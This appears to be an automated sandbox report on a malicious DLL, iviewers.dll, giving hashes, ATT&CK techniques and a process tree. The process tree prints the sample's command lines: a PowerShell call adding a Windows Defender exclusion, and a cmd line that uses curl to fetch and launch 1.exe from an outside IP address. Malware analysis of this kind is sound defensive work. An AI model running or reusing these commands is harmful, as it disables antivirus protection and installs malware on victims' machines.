4e462760e6bf5b71642462a5b73a370b9b4c3d50ecb47c1b236747836cfc128d

Analysis

max time kernel
121s
max time network
125s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
02/03/2025, 07:26

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General

Target

iviewers.dll
Size

83KB
MD5

55470aea5b9f0cfc5af1bb312638cf47
SHA1

c9b7d95b45fe7f3282d4e76796c66f9c050961b7
SHA256

0e1eed48e5643a9090e8f55f741ae9c322ec9b8fb3c6f6d902a9d977762ec0b5
SHA512

ee001e521670500a645dcff5141d73aafd864c82b4ebb0e4c9f7975e1e25124d92bfa6dc9b6170b1d018697672116920d428e629b66b3cfbeecf93933ef2ef4d
SSDEEP

1536:obo5eK+wzZQ1LRC7ivPv8ZqTfXeqvz+NBGQS18sWpcdVQCLHWeDCf7/P/:os5tXVQLRC7iv4qTvcGQS1VQCjWeDCfb

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2320	powershell.exe

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2320	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2320	powershell.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 1548 wrote to memory of 2128	1548	regsvr32.exe	31
PID 1548 wrote to memory of 2128	1548	regsvr32.exe	31
PID 1548 wrote to memory of 2128	1548	regsvr32.exe	31
PID 1548 wrote to memory of 2128	1548	regsvr32.exe	31
PID 1548 wrote to memory of 2128	1548	regsvr32.exe	31
PID 1548 wrote to memory of 2128	1548	regsvr32.exe	31
PID 1548 wrote to memory of 2128	1548	regsvr32.exe	31
PID 2128 wrote to memory of 1792	2128	regsvr32.exe	32
PID 2128 wrote to memory of 1792	2128	regsvr32.exe	32
PID 2128 wrote to memory of 1792	2128	regsvr32.exe	32
PID 2128 wrote to memory of 1792	2128	regsvr32.exe	32
PID 1792 wrote to memory of 2320	1792	cmd.exe	34
PID 1792 wrote to memory of 2320	1792	cmd.exe	34
PID 1792 wrote to memory of 2320	1792	cmd.exe	34
PID 1792 wrote to memory of 2320	1792	cmd.exe	34
PID 2128 wrote to memory of 2680	2128	regsvr32.exe	35
PID 2128 wrote to memory of 2680	2128	regsvr32.exe	35
PID 2128 wrote to memory of 2680	2128	regsvr32.exe	35
PID 2128 wrote to memory of 2680	2128	regsvr32.exe	35

C:\Windows\system32\regsvr32.exe
regsvr32 /s C:\Users\Admin\AppData\Local\Temp\iviewers.dll
1⤵
- Suspicious use of WriteProcessMemory
PID:1548
- C:\Windows\SysWOW64\regsvr32.exe
  /s C:\Users\Admin\AppData\Local\Temp\iviewers.dll
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2128
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp\1.exe'"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1792
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp\1.exe'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2320
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c cd C:\Windows\Temp\ & curl -o 1.exe http://147.45.44.170/1.exe & start 1.exe
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2680

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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